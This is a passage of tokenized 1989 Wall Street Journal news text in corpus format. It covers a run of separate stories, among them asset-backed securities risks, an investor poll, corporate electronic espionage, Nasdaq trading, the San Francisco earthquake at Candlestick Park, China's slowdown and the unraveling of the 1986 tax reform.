yields are higher than those of U.S. Treasury issues . +And the booming market has already attracted many of the nation 's biggest institutional investors . +Ready to jump ? +Well , think twice . +The concept may be simple : Take a bunch of loans , tie them up in one neat package , and sell pieces of the package to investors . +But the simplicity may be misleading . +Skeptics say the slightly higher returns are n't enough to compensate for the extra risk . +They warn that asset-backed securities are only as good as the assets and credit backing that support them -- and those are hard to evaluate . +Moreover , the securities were introduced only about 4 1\/2 years ago ; the biggest unknown is how they will fare in a recession . +`` A lot of this stuff really is in untested waters , '' says Owen Carney , director of the investment securities division of the U.S. comptroller of the currency . +`` We do n't know how this whole market will work in a serious economic downturn . '' +Such concerns , however , have n't stopped asset-backed securities from becoming one of Wall Street 's hottest new products . +Since the spring of 1985 , financial alchemists have transformed a wide variety of debt into these new securities . +They have sold issues backed by car loans , boat loans and recreational-vehicle loans . +They have offered bundles of homeequity loans , as well as packages of loans used to buy vacation time-shares . +Last year , there was an issue of `` death-backed bonds '' -- securities backed by loans to life-insurance policyholders . +Some predict there will be `` Third World bonds , '' backed by loans to Brazil , Argentina and other debt-ridden nations . +And the biggest volume this year has been on securities backed by credit-card receivables , sometimes known as `` plastic bonds . '' +`` This is the heyday of debt , '' says James Grant , editor of Grant 's Interest Rate Observer , a newsletter . +`` Before the sun sets on the '80s , it seems nothing will be left unhocked . '' +The result is a $ 45 billion market , according to Securities Data Co . +That includes more than $ 9.5 billion issued through August of this year , up sharply from $ 6.5 billion in the comparable 1988 period -- and more than in all of 1987 . +Most issues have been sold to professional money managers , pension funds , bank trust departments and other institutions . +But wealthy individuals also have been jumping in , and lately brokers have been pushing smaller investors into the asset-backed market . +The entry fee is affordable : Issues typically are sold in minimum denominations of $ 1,000 . +`` We expect additional offerings '' of asset-backed securities targeted toward individual investors , says Bill Addiss , a senior vice president at Shearson Lehman Hutton Inc . +The process typically begins when an institution , such as Citibank or Sears , Roebuck & Co. , takes a pool of credit-card or other receivables and sells them to a specially created trust . +The trust then issues securities -- generally due in five years or less -- that are underwritten by Wall Street brokerage firms and offered to investors . +Issues typically come with `` credit enhancements , '' such as a bank letter of credit , and thus have received high credit ratings . +Enthusiasts say the booming market has opened up a valuable new source of funds to issuers , while providing a valuable new investment for individuals and institutions . +Asset-backed securities `` are an attractive investment compared to bank certificates of deposit or other corporate bonds , '' says Craig J. Goldberg , managing director and head of the asset-backed securities group at Merrill Lynch Capital Markets . +But skeptics question whether asset-backed bonds offer sufficient rewards to compensate for the extra risks . +Consider a $ 500 million offering of 9 % securities issued last spring and backed by Citibank credit-card receivables . +The triple-A-rated issue offered a yield of only about 0.5 percentage point above four-year Treasury issues . +On a $ 10,000 investment , that 's a difference of only $ 50 a year . +That kind of spread can be critical for money managers who buy bonds in large quantities and whose livelihood depends on outperforming the money manager across the street . +But for individuals who buy much smaller amounts and care less about relative performance than in preserving what they have , that margin is meaningless . +`` If you 're in the bond business playing the relative-performance derby , then even an extra 25 basis points -LRB- 0.25 percentage point -RRB- becomes an important consideration on a career basis , '' says Mr. Grant . +`` But if you 're an individual investing money and trying to get it back again , then that is n't of overwhelming importance . '' +Moreover , the interest on asset-backed securities is fully taxable , while interest on Treasury issues is tax-free at the state and local level . +That 's why some investment managers , such as Alex Powers , a vice president of Chase Manhattan Bank 's private banking division , do n't recommend most asset-backed issues for individuals in high-tax states , such as New York or California . +But Mr. Powers has purchased asset-backed issues for individuals with tax-deferred accounts , such as retirement plans . +He points out that institutions buying asset-backed issues in large quantities can earn higher spreads over Treasurys than individuals buying smaller amounts . +Another concern is liquidity , or how easily a security can be converted into cash . +The secondary , or resale , market for asset-backed securities is relatively new and much less active than for Treasury issues . +That could make it tricky for investors who need to sell their holdings quickly before the securities mature . +That 's particularly true , analysts say , for certain of the securities , such as those backed by time-share loans . +`` You could see massive gyrations here because it 's such a thinly traded market , '' says Jonathan S. Paris , a vice president of European Investors Inc. , a New York investment-management firm . +In addition , an investor who wants to know the daily value of Treasury bonds , or corporate bonds traded on the New York Stock Exchange , can simply check newspaper listings . +There are n't any such listings for asset-backed securities . +Evaluating asset-backed securities poses another problem . +Investors , for instance , may mistakenly assume that the bank or company that originally held the assets is guaranteeing the securities . +It is n't . +The front cover of the prospectus for the Citibank credit-card receivables offering points out in bold capital letters that the certificates represent an interest only in the specially created trust and `` do not represent interests in or obligations of the banks , Citibank N.A. , Citicorp or any affiliate thereof . '' +In other words , if there 's a problem , do n't expect Citibank to come to the rescue . +The prospectus also notes that the securities are not guaranteed by any government agency . +That means investors have to focus on the quality of the debt that lies beneath the securities , as well as on the credit enhancement for the issue and the credit ratings the issue has received . +That also is n't easy . +Take the `` credit enhancements , '' which typically include a bank letter of credit or insurance from a bond-insurance company . +The letter of credit typically is not offered by the bank selling the assets to back the securities . +Nor does it cover the entire portfolio . +Details of credit enhancements vary widely from issue to issue . +Still , they play a crucial role in winning top ratings for most asset-backed issues -- which in turn is why the yield above Treasurys is so slim . +But skeptics ask why you should bother buying this stuff when you can get only slightly lower yields on government-guaranteed paper . +When you buy an asset-backed issue , you take the risk that a bank or an insurer could run into unexpected difficulties . +If a bank 's credit rating was lowered because of , say , its loans to Third World nations , that could also affect the ratings , liquidity and prices of the asset-backed issues that the bank supports . +Underwriters insist these issues are constructed to withstand extremely tough economic conditions . +But despite the credit enhancements , despite the high ratings , some money managers still worry that a recession could wreak havoc on the underlying assets . +At a time when Americans are leveraged to their eyeballs , asset-backed investors may be taking a heady gamble that consumers will be able to repay loans in hard times . +At the very least , a recession would prompt investors to buy the highest-quality bonds they can find -- that is , Treasurys . +That could widen the yield spread between Treasurys and asset-backed securities , as well as make it tougher to unload the latter . +But it could be much worse . +Some analysts are especially wary of credit-card issues . +For one thing , credit-card loans are unsecured . +In addition , they fear that banks have been overeager to issue cards to the public -- giving cards to too many big spenders who will default during a recession . +`` A day of reckoning is coming where we think the market will place a high premium on the highest-quality debt issues , and therefore we think the best debt investment is U.S. government bonds , '' says Craig Corcoran of Davis\/Zweig Futures Inc. , an investment advisory firm . +What about triple-A-rated asset-backed issues ? +`` Nope , we still say to stick with Treasurys , '' Mr. Corcoran replies . +Ratings , he notes , `` are subject to change . '' +All this makes asset-backed securities seem too risky for many people . +And it reminds Raymond F. DeVoe Jr. , a market strategist at Legg Mason Wood Walker Inc. , of what he calls `` DeVoe 's Unprovable but Highly Probable Theory No. 1 : +`` More money has been lost reaching for yield than in all the stock speculations , scams and frauds of all time . '' +Mr. Herman is a staff reporter in The Wall Street Journal 's New York bureau . +Volume of asset-backed securities issued annually +\* Principal amount +\*\* As of August 30 +\* Principal amount +Source : Securities Data Co . +IF YOU FORCE financial planners to sum up their most important advice in a single sentence , it would probably be a one-word sentence : Diversify . +Judging by a poll of Wall Street Journal readers conducted this summer by Erdos & Morgan Inc. , serious investors have taken that advice to heart . +Nearly 1,000 investors responded to the Journal 's poll , providing an in-depth look at their portfolios . +Those portfolios are remarkably diversified . +By spreading their wealth among several investment alternatives , the respondents have protected themselves against squalls in any one area , be it stocks , bonds or real estate . +For example , about 88 % of Journal readers owned stock -LRB- down slightly from 91 % in a similar poll last year -RRB- . +But only 17.5 % said they had more than half their money in the stock market . +Similarly , 57 % of respondents own shares in a money-market mutual fund , and 33 % own municipal bonds . +But only 6 % to 7 % of the investors were committing more than half their funds to either of those alternatives . +The poll , conducted Aug. 7-28 , also provides a glimpse into the thinking of serious investors on a variety of other topics . +It found them in a cautious , but not downbeat , mood . +Of 1,500 people sent a questionnaire , 951 replied . +The response rate , more than 63 % , allows the results to be interpreted with a high degree of confidence . +The results ca n't be extrapolated to all investors , though . +Journal readers are relatively affluent , with a median household income of between $ 75,000 and $ 99,000 . +Nearly half of the respondents -LRB- 47 % -RRB- said their investment portfolio was worth $ 250,000 or more , and 17 % said it was worth $ 1 million or more . +The respondents were mildly optimistic about the economy and investment markets , but their collective judgments were a notch more sober than they were a year ago . +For example , 12 % of this year 's respondents said they expect a recession within 12 months . +Last year , only 8 % were expecting a recession . +An additional 56 % of this year 's respondents expect the economy to slow down during the next 12 months . +Only 42 % of last year 's respondents anticipated slowing growth . +Apparently , the respondents do n't think that an economic slowdown would harm the major investment markets very much . +A slim majority -LRB- 51 % -RRB- think stock prices will be higher in August 1990 than they were in August 1989 . +Their verdict on real estate is almost the same . +Some 50 % expect real estate in their local area to increase in value over the next 12 months . +By contrast , only 32 % expect an increase in the price of gold . +Since gold tends to soar when inflation is high , that finding suggests that people believe inflation remains under control . +Even though only 12 % actually predicted a recession , many respondents were taking a better-safe-than sorry investment stance . +Nearly a third said they have made some portfolio changes to anticipate a possible recession . +For the most part , the changes were `` slight . '' +The two-thirds who have n't tried to make their portfolios more recession-resistant were split about evenly between investors who `` do n't believe in trying to predict the markets '' -LRB- about 31 % -RRB- and investors who `` do n't expect a recession '' -LRB- about 15 % -RRB- or are `` unsure if and when a recession might come '' -LRB- about 22 % -RRB- . +A buy-and-hold approach to stocks continues to be the rule among respondents . +Most own two to 10 stocks , and buy or sell no more than three times a year . +Some 71 % had bought some stock in the past year ; only 57 % had sold any . +But the lurking shadow of 1987 's stock-market crash still seems dark . +About 33 % considered another crash `` likely , '' while about 63 % said one is `` unlikely . '' +Those percentages hardly changed from the previous year 's poll . +And the respondents ' commitment to the stock market remains somewhat lighter than usual . +About 60 % of them said they would `` ordinarily '' have at least 25 % of their money in stocks . +But as of August , only 50 % actually had stock-market investments of that size . +Most stock-market indexes were hitting all-time highs at around the time of the poll . +But it appears that many Journal readers were taking that news as a sign to be cautious , rather than a signal to jump on the bandwagon . +Mr. Dorfman covers investing issues from The Wall Street Journal 's New York bureau . +Canadian steel ingot production totaled 276,334 metric tons in the week ended Oct. 14 , down 5.3 % from the preceding week 's total of 291,890 tons , Statistics Canada , a federal agency , said . +The week 's total was down 7.1 % from 297,446 tons a year earlier . +A metric ton is equal to 2,204.62 pounds . +The cumulative total in 1989 was 12,283,217 tons , up 7.5 % from 11,429,243 tons a year earlier . +Health Care Property Investors Inc. said it acquired three long-term care facilities and one assisted-living facility in a purchase-and-lease transaction valued at $ 15 million . +The real estate investment trust said that it leased the three Florida facilities to National Health Care Affiliates Inc. of Buffalo , N.Y . +Health Care Property holds an interest in 139 facilities in 30 states . +Moody 's Investors Service said it lowered its rating on about $ 75 million of this Chatsworth , Calif. , concern 's convertible subordinated debentures , due 2012 , to Caa from B2 . +It said the reduction reflects impaired business prospects and reduced financial flexibility caused by continuing losses at the maker of Winchester disk drives . +VALLEY National Corp. -- +Moody 's Investors Service Inc. said it lowered its rating on about $ 400 million of this bank holding company 's senior debt to B2 from Ba3 . +Moody 's said it expects Valley National , of Phoenix , Ariz. , to make substantial further provisions against its real-estate portfolio , and that it continues to suffer from the high cost of carrying nonperforming assets , and from high loan-loss provisions . +Electronic theft by foreign and industrial spies and disgruntled employees is costing U.S. companies billions and eroding their international competitive advantage . +That was the message delivered by government and private security experts at an all-day conference on corporate electronic espionage . +`` Hostile and even friendly nations routinely steal information from U.S. companies and share it with their own companies , '' said Noel D. Matchett , a former staffer at the federal National Security Agency and now president of Information Security Inc. , Silver Spring , Md . +It `` may well be '' that theft of business data is `` as serious a strategic threat to national security '' as it is a threat to the survival of victimized U.S. firms , said Michelle Van Cleave , the White House 's assistant director for National Security Affairs . +The conference was jointly sponsored by the New York Institute of Technology School of Management and the Armed Forces Communications and Electronics Association , a joint industry-government trade group . +Any secret can be pirated , the experts said , if it is transmitted over the air . +Even rank amateurs can do it if they spend a few thousand dollars for a commercially available microwave receiver with amplifier and a VCR recorder . +They need only position themselves near a company 's satellite dish and wait . +`` You can have a dozen competitors stealing your secrets at the same time , '' Mr. Matchett said , adding : `` It 's a pretty good bet they wo n't get caught . '' +The only way to catch an electronic thief , he said , is to set him up with erroneous information . +Even though electronic espionage may cost U.S. firms billions of dollars a year , most are n't yet taking precautions , the experts said . +By contrast , European firms will spend $ 150 million this year on electronic security , and are expected to spend $ 1 billion by 1992 . +Already many foreign firms , especially banks , have their own cryptographers , conference speakers reported . +Still , encrypting corporate communications is only a partial remedy . +One expert , whose job is so politically sensitive that he spoke on condition that he would n't be named or quoted , said the expected influx of East European refugees over the next few years will greatly increase the chances of computer-maintenance workers , for example , doubling as foreign spies . +Moreover , he said , technology now exists for stealing corporate secrets after they 've been `` erased '' from a computer 's memory . +He said that Oliver North of Iran-Contra notoriety thought he had erased his computer but that the information was later retrieved for congressional committees to read . +No personal computer , not even the one on a chief executive 's desk , is safe , this speaker noted . +W. Mark Goode , president of Micronyx Inc. , a Richardson , Texas , firm that makes computer-security products , provided a new definition for Mikhail Gorbachev 's campaign for greater openness , known commonly as glasnost . +Under Mr. Gorbachev , Mr. Goode said , the Soviets are openly stealing Western corporate communications . +He cited the case of a Swiss oil trader who recently put out bids via telex for an oil tanker to pick up a cargo of crude in the Middle East . +Among the responses the Swiss trader got was one from the Soviet national shipping company , which had n't been invited to submit a bid . +The Soviets ' eavesdropping paid off , however , because they got the contract . +The University of Toronto stepped deeper into the contest for Connaught BioSciences Inc. by reaching an unusual agreement with Ciba-Geigy Ltd. and Chiron Corp . +The University said the two companies agreed to spend 25 million Canadian dollars -LRB- $ 21.3 million -RRB- over 10 years on research at Canadian universities if they are successful in acquiring the vaccine maker . +It said $ 10 million would go to the University of Toronto . +Ciba-Geigy and Chiron have made a joint bid of C$ 866 million for Connaught , and Institut Merieux S.A. of France has made a rival bid of C$ 942 million . +The University is seeking an injunction against the Merieux bid , arguing that Connaught 's predecessor company agreed in 1972 that Connaught 's ownership would n't be transferred to foreigners . +The university implied that it would drop its opposition to foreign ownership if Ciba-Geigy and Chiron are successful with their lower bid . +It said the new agreement would `` replace '' the old one that forms the basis of its suit against the Merieux takeover . +`` Notwithstanding foreign ownership of Connaught , this accord would enhance research and development in Canada , '' said James Keffer , the university 's vice president of research . +Ciba-Geigy is a Swiss pharmaceutical company and Chiron is based in Emeryville , Calif . +In a statement , Jacques-Francois Martin , director general of Merieux , said the French company is still determined to acquire Connaught . +While he did n't comment directly on the pact between Ciba-Geigy and the university , he said Merieux can transfer new products and technologies to Connaught more rapidly than other companies `` not currently producing and marketing vaccines -LCB- who -RCB- can only promise this for some ... years in the future . '' +In national over-the-counter trading yesterday , Connaught closed at $ 28.625 , up $ 1.25 . +Microsoft and other software stocks surged , leading the Nasdaq composite index of over-the-counter stocks to its biggest advance of the year on breathtaking volume . +Leading the pack , Microsoft soared 3 3\/4 , or 4 % , to a record price of 84 1\/4 on 1.2 million shares . +On the other hand , Valley National tumbled 24 % after reporting a sizable third-quarter loss . +The Nasdaq composite leaped 7.52 points , or 1.6 % , to 470.80 . +Its largest previous rise this year came Aug. 7 , when it gained 4.31 . +The OTC market 's largest stocks soared as well , as the Nasdaq 100 Index jumped 10.01 , or 2 % , to 463.06 . +The Nasdaq Financial Index rose 5.04 , or 1.1 % , to 460.33 . +By comparison , the Dow Jones Industrials and the New York Stock Exchange Composite each rose 1.5 % . +Volume totaled 173.5 million shares , 30 % above this year 's average daily turnover on Nasdaq . +Among broader Nasdaq industry groups , the utility index gained 18.11 to 761.38 . +The transportation and insurance sectors each posted gains of 8.59 , with the transports finishing at 486.74 and the insurers at 537.91 . +The Nasdaq industrial index climbed 8.17 to 458.52 , and the `` other finance '' index , made up of commercial banks and real estate and brokerage firms , rose 3.97 to 545.96 . +The index of smaller banks improved 1.97 . +Of the 4,346 issues that changed hands , 1,435 rose and 629 fell . +Jeremiah Mullins , head of OTC trading at Dean Witter Reynolds , said both institutional and retail investors were buying . +But there was a dearth of sellers , traders said , so buyers had to bid prices up to entice them . +`` There 's no pressure on OTC stocks at this point , '' said Mr. Mullins , who said some buyers are beginning to shop among smaller OTC issues . +Microsoft 's surge followed a report this week of substantially improved earnings for its first quarter , ended Sept. 30 . +The stock was trading at 69 just two weeks ago . +Rick Sherlund , a Goldman Sachs analyst , has raised his earnings estimates for the company twice in the past two weeks , citing improved margins . +After the earnings were announced , he raised his fiscal 1990 estimate to between $ 3.80 and $ 4 a share . +Microsoft earned $ 3.03 a share in fiscal 1989 . +Among other software issues , Autodesk jumped 1 1\/4 to 42 , Lotus Development was unchanged at 32 1\/2 , Novell jumped 7\/8 to 30 3\/4 , Ashton-Tate gained 1\/4 to 10 5\/8 , and Oracle Systems rose 3\/4 to 25 3\/4 . +Caere , a new software issue , surged from its offering price of 12 to close at 16 1\/8 . +The company also makes optical character recognition equipment . +Caere was underwritten by Alex . Brown & Sons . +Another recently offered Alex . Brown issue , Rally 's , surged 3 1\/8 to 23 . +The operator of fast-food restaurants , whose shares began trading last Friday , climbed 3 1\/8 to 23 on 944,000 shares . +Its 1.7 million-share offering was priced at 15 . +Valley National 's slide of 5 3\/4 points to 18 1\/2 on 4.2 million shares followed its report late Wednesday of a $ 72.2 million third-quarter loss . +In the 1988 quarter , the Phoenix , Ariz. , commercial banking concern earned $ 18.7 million . +Valley National said its $ 110 million provision for credit losses and $ 11 million provision for other real estate owned is related to weakness in the Arizona real estate market . +Additionally , Moody 's Investors Service said it downgraded Valley National 's senior debt and confirmed the company 's commercial paper rating of `` not prime . '' +A new issue , Exabyte , surged 2 1\/8 from its initial offering price to close at 12 1\/8 . +The offering was for about 2.8 million shares of the data storage equipment maker ; more than 2.2 million shares changed hands after trading began . +Dell Computer dropped 7\/8 to 6 . +The company said earnings for the year ending Jan. 28 , 1990 , are expected to be 25 to 35 cents a share , compared with a previous estimate of 50 to 60 cents a share . +Nutmeg Industries lost 1 3\/4 to 14 . +Raymond James & Associates in St. Petersburg , Fla. , lowered its third-quarter earnings estimate for the company , according to Dow Jones Professional Investor Report . +A.P. Green Industries advanced 1 5\/8 to 36 1\/8 . +East Rock Partners , which has indicated it might make a bid for the company , said A.P. Green , a refractory products maker , told the partnership it is n't for sale . +Row 21 of Section 9 of the Upper Reserved at Candlestick Park is a lofty perch , only a few steps from the very top of the stands . +From my orange seat , I looked over the first-base line and the new-mown ball field in the warm sun of the last few minutes before what was to have been the third game of the World Series . +It was five in the afternoon , but that was Pacific time . +Back in New York the work day was already over , so I did n't have to feel guilty . +Even still , I did feel self-indulgent , and I could n't help remembering my father 's contempt for a rich medical colleague who would go to watch the Tigers on summer afternoons . +This ballpark , the Stick , was not a classic baseball stadium -- too symmetrical , too much bald concrete . +And it did n't have the crowded wild intimacy of Yankee Stadium . +But I liked the easy friendliness of the people around me , liked it that they 'd brought their children , found it charming that , true citizens of the state of the future , they had brought so many TVs and radios to stay in touch with electroreality at a live event . +Maybe it was their peculiar sense of history . +The broadcasters were , after all , documenting the game , ratifying its occurrence for millions outside the Stick . +Why not watch or hear your experience historicized while you were living it ? +The day was saturated with the weight of its own impending history . +Long lines of people waited to buy special souvenir World Series postcards with official postmarks . +Thousands of us had paid $ 5 for the official souvenir book with its historical essays on Series trivia , its historical photographs of great moments in Series past , and its instructions , in English and Spanish , for filling in the scorecard . +Pitcher = lanzador . +Homerun = jonron . +Players ran out on the field way below , and the stands began to reverberate . +It must be a local custom , I thought , stamping feet to welcome the team . +But then the noise turned into a roar . +And no one was shouting . +No one around me was saying anything . +Because we all were busy riding a wave . +Sixty thousand surfers atop a concrete wall , waiting for the wipeout . +Only at the moment of maximum roll did I grasp what was going on . +Then I remembered the quake of '71 , which I experienced in Santa Barbara in a second-story motel room . +When the swaying of the building woke me up , I reasoned that a -RRB- I was in Southern California ; b -RRB- the bed was moving ; c -RRB- it must be a Magic Fingers bed that had short-circuited . +Then I noticed the overhead light was swaying on its cord and realized what had happened . +What should I do ? +Get out of the possibly collapsing building to the parking lot . +But the lot might split into crevasses , so I had better stand on my car , which probably was wider than the average crevasse . +Fortunately , the quake was over before I managed to run out and stand naked on the hood . +At the Stick , while the world shook , I thought of that morning and then it struck me that this time was different . +If I survived , I would have achieved every journalist 's highest wish . +I was an eyewitness of the most newsworthy event on the planet at that moment . +What was my angle ? +How would I file ? +All these thoughts raced through my head in the 15 seconds of the earthquake 's actual duration . +The rest is , of course , history . +The Stick did n't fall . +The real tragedies occurred elsewhere , as we soon found out . +But for a few minutes there , relief abounded . +A young mother found her boy , who had been out buying a hotdog . +The wall behind me was slightly deformed , but the center had held . +And most of us waited for a while for the game to start . +Then we began to file out , to wait safely on terra firma for the opening pitch . +It was during the quiet exodus down the pristine concrete ramps of the Stick that I really understood the point of all those Walkmen and Watchmen . +The crowd moved in clumps , clumps magnetized around an electronic nucleus . +In this way , while the Stick itself was blacked out , we kept up to date on events . +Within 15 minutes of the quake itself , I was able to see pictures of the collapsed section of the Bay Bridge . +Increasingly accurate estimates of the severity of the quake became available before I got to my car . +And by then , expensive automobile sound systems were keeping the gridlocked parking lot by the bay informed about the fire causing the big black plume of smoke we saw on the northern horizon . +Darkness fell . +But the broadcasts continued through the blacked-out night , with pictures of the sandwiched highway ganglion in Oakland and firefighting in the Marina district . +By then , our little sand village of cars had been linked with a global village of listeners and viewers . +Everyone at the Stick that day had started out as a spectator and ended up as a participant . +In fact , the entire population of the Bay Area had ended up with this dual role of actor and audience . +The reporters were victims and some of the victims turned into unofficial reporters . +The outstanding example of this was the motorist on the Bay Bridge who had the presence of mind to take out a video camera at the absolutely crucial moment and record the car in front as it fell into the gap in the roadway . +The tape was on tv before the night was out . +Marshall McLuhan , you should have been there at that hour . +Investors who received Shearson Lehman Hutton Inc. 's latest stock commentary may be left with blank expressions . +The first 10 pages of the 76-page Weekly Portfolio Perspective are completely blank , except for the page numbers . +Rather than printing devils , Shearson puts all the blame on the unpredictable stock market . +The plunge made Shearson 's market commentary instantly out of date . +In fact , last Friday 's 190.58-point tumble in the stock market caught many people and businesses by surprise , not the least of them brokerage firms such as Shearson that print their weekly market commentaries on Fridays for dissemination the following week . +Shearson , a 62%-owned unit of American Express Co. , did n't have enough time to update its market commentary so , `` We decided to kill our strategy pieces , '' says Jack Rivkin , the head of Shearson 's research department . +The first thought some investors had was that a red-faced Shearson must have been wildly bullish on stocks in its original commentary , and that 's why it purged its pages . +Investors recalled that Shearson last week had been advising that `` the market is still exhibiting all the signs of a further advance . '' +Many other brokerage firms had similarly bullish views . +But Mr. Rivkin insists that the 10 pages were n't pulled because they were too bullish . +Instead , he says , `` they were cautious , and that was n't the message we wanted to deliver '' on Monday . +As Mr. Rivkin explains it , `` We were raising some caution flags about rate rises in Europe and concerns about the LBO market . +And by late Friday afternoon , actually after the close , we decided that was the wrong tone to take . +With the market down , we wanted to tell people to put their orders in on the opening . '' +Both before and after the Friday plunge , Shearson has maintained a recommended portfolio weighting of 65 % stocks , 20 % bonds and 15 % cash . +Sheldon B. Lubar , chairman of Lubar & Co. , and John L. Murray , chairman of Universal Foods Corp. , were elected to the board of this engine maker . +They succeed Robert W. Kasten and John R. Parker , who reached the mandatory retirement age . +China 's slide toward recession is beginning to look like a free fall . +In a report on China 's foundering economy , the official State Statistical Bureau disclosed that industrial output last month rose 0.9 % from a year earlier - the lowest growth rate in a decade for September . +Retail sales are plummeting , while consumer prices still are rising . +Chinese and foreign economists now predict prolonged stagflation : low growth and high inflation . +`` The economy is crashing hard , '' says an Asian economist in Beijing . +`` The slowdown is taking hold a lot more quickly and devastatingly than anyone had expected . '' +A lengthy recession , if it materializes , would drain state coffers and create severe hardships for urban workers . +Experts predict the coming year will be characterized by flat or negative industrial growth , rising unemployment and a widening budget deficit . +Unless the government suddenly reverses course , wages for most workers wo n't keep pace with inflation , creating a potential source of urban unrest . +The economy 's slowdown is due only partly to the austerity program launched in September 1988 to cool an overheated economy and tame inflation . +-LRB- Industrial output surged 21 % in 1988 , while inflation peaked last February at nearly 30 % . -RRB- +The slowdown also results from chronic energy and raw-materials shortages that force many factories to restrict operations to two or three days a week . +In Western , market-driven countries , recessions often have a bright side : prodding the economy to greater efficiency . +In China , however , there is n't likely to be any silver lining because the economy remains guided primarily by the state . +Instead , China is likely to shell out ever-greater subsidies to its coddled state-run enterprises , which ate up $ 18 billion in bailouts last year . +Nor are any of these inefficient monoliths likely to be allowed to go bankrupt . +Rather , the brunt of the slowdown will be felt in the fast-growing private and semi-private `` township '' enterprises , which have fallen into disfavor as China 's leaders re-emphasize an orthodox Marxist preference for public ownership . +`` When the going gets rough , China penalizes the efficient and rewards the incompetent , '' says a Western economist . +Reports of an economy near recession come as officials prepare a major Communist Party plenum for sometime in the next few weeks . +The meeting is expected to call for heightened austerity for two years . +But with industrial growth stagnant and inflation showing signs of easing , some voices may call for measures to pump new life into the economy . +Some analysts believe China soon will begin relaxing economic controls , particularly by loosening credit . +That would benefit Chinese enterprises as well as Sino-foreign joint ventures , both of which have been plagued by shortages of working capital . +A dangerous buildup this year of billions of dollars in inter-company debts threatens , if unchecked , to bring the economy to a collapse . +One sign of a possible easing of credit policy was the decision this week of People 's Bank of China , the central bank , to allocate $ 5.4 billion in short-term loans to pay farmers for the autumn harvest , the official China Daily reported . +But while pumping more money into the economy would bring relief to many industries , it also runs the risk of triggering another period of runaway growth and steep inflation . +The cycle has been repeated several times since China began reforming its planned economy in 1979 . +And , because China 's leaders have abandoned plans to drastically reform the economy , it is likely to continue , analysts say . +The statistical bureau 's report , cited in China Daily , notes that industrial output in September totaled $ 29.4 billion , a rise of just 0.9 % from a year earlier . +Output declined in several provinces , including Jiangsu and Zhejiang , two key coastal areas , and Sichuan , the nation 's agricultural breadbasket . +Production in Shanghai , China 's industrial powerhouse and the largest source of tax revenue for the central government , fell 1.8 % for the month . +Nationwide , output of light industrial products declined 1.8 % -- `` the first decline in 10 years , '' a bureau spokesman told China Daily . +In an unusually direct statement , the bureau spokesman recommended that state banks extend more credit to shopkeepers so that they can purchase manufacturers ' goods . +`` This will prevent a slide in industrial production , which will otherwise cause new panic buyings , '' the spokesman said . +The 1986 tax overhaul , the biggest achievement of President Reagan 's second term , is beginning to fall apart , and interest groups are lining up for tax goodies all over Capitol Hill . +Real-estate executives are lobbying to ease anti-tax-shelter rules . +Charitable groups are trying to reinstate the write-off for contributions made by individuals who do n't itemize their deductions . +Big auction houses want to make collectibles eligible for lower capital-gains taxes . +And heavy-industry lobbyists are quietly discussing the possibility of reinstating the investment tax credit . +`` Everything is up for grabs , '' says Theodore Groom , a lobbyist for mutual life-insurance companies . +Adds Robert Juliano , the head lobbyist for a variety of interests that want to protect the tax deduction for travel and entertainment expenses : `` It appears as though the whole thing is wide open again . '' +The catalyst has been the congressional move to restore preferential tax treatment for capital gains , an effort that is likely to succeed in this Congress . +Other fundamental `` reforms '' of the 1986 act have been threatened as well . +The House seriously considered raising the top tax rate paid by individuals with the highest incomes . +The Senate Finance Committee voted to expand the deduction for individual retirement accounts , and also to bring back income averaging for farmers , a tax preference that allows income to be spread out over several years . +As part of the same bill , the finance panel also voted in favor of billions of dollars in narrow tax breaks for individuals and corporations , in what committee member Sen. David Pryor -LRB- D. , Ark . -RRB- calls a `` feeding frenzy '' of special-interest legislating . +The beneficiaries would range from pineapple growers to rich grandparents to tuxedo-rental shops . +To be sure , the full Senate , facing a fast-approaching budget deadline , last Friday stripped away all of the tax breaks that were contained in the Finance Committee bill . +But lawmakers of both parties agree that the streamlining was temporary . +Other bills will be moving soon that are expected to carry many of the tax cuts , including both the capital-gains and IRA provisions . +`` There is n't any doubt that the thread of the '86 code has been given a mighty tug , '' says Rep. Thomas Downey -LRB- D. , N.Y . -RRB- . +`` You 'll see the annual unraveling of it . '' +`` It 's back to tax-give-away time for the select few , '' says Rep. William Gray of Pennsylvania , the third-ranking Democrat in the House . +Referring to the chairmen of the Senate and House tax-writing committees , he adds , `` Next year , every special-interest group is going to be there knocking on Lloyd Bentsen 's door , on Danny Rostenkowski 's door . '' +Many groups are n't waiting that long . +Just last week , a House Ways and Means subcommittee held a lengthy meeting to hear the pleas of individual cities , companies and interest groups who want to open their own special loopholes . +`` It 's a Swiss-cheese factory and the cheese smells pretty good , '' commented one veteran lobbyist who was watching the proceedings . +Even lobbyists for heavy industry , one of the interests hit hardest in the 1986 bill , are encouraged . +The return of pro-investment tax breaks such as those for capital gains and IRAs `` creates more of a mood or a mindset that is helpful for getting better depreciation -LRB- write-offs -RRB- or investment credits , '' says Paul Huard , a vice president for the National Association of Manufacturers . +Corporate lobbyist Charls Walker is planning a spring conference to discuss what tax changes to make to improve `` competitiveness . '' +In reaction to proposed capital-gains legislation , groups are lobbying to make sure they are n't left off the gravy train . +Real-estate interests , for example , are protesting an omission in President Bush 's capital-gains proposal : It does n't include real-estate gains . +`` If there is going to be a tax scheme that contemplates lower treatment of capital gains , they certainly want to be part of it , '' says real-estate lobbyist Wayne Thevenot of Concord Associates . +In the House-passed tax bill , Mr. Thevenot got his wish ; real-estate assets are included in the capital-gains provision . +But Sotheby 's , Christie 's and the National Association of Antique Dealers are still trying to get theirs . +They have sent a letter to congressional tax-writers asking that gains from the sale of collectibles also be given preferential treatment . +`` Collectibles should continue to be recognized as capital assets , '' the letter states . +All of this talk is antithetical to the Tax Reform Act of 1986 . +In exchange for dramatically lower tax rates , the framers of that legislation sought to eliminate most of the exemptions , deductions and credits that gave some taxpayers an advantage over others . +The goal was to tax people with roughly equivalent incomes equally , and to eliminate the many shelters that allowed the wealthy to escape taxes . +Two of the major ways that tax-writers managed to attain these ends were to scrap the preferential treatment of capital gains and to curtail the use of paper losses , also known as passive losses , that made many tax shelters possible . +Many other tax benefits also were swept away . +This year Congress , with prodding from President Bush , has been busy trying to put many of these same tax preferences back into the code . +It appears likely that , this year or next , some form of capital-gains preference and passive-loss restoration will be enacted . +Other tax benefits probably will be restored and created . +The main obstacle is finding a way to pay for them . +`` The '86 act was a fluke . +They wanted reform and they got a revolution , '' says overhaul advocate Rep. Willis Gradison -LRB- R. , Ohio -RRB- . +So , is the tax code now open game again ? +Mr. Juliano thinks so . +One recent Saturday morning he stayed inside the Capitol monitoring tax-and-budget talks instead of flying to San Francisco for a fund-raiser and then to his hometown of Chicago for the 30th reunion of St. 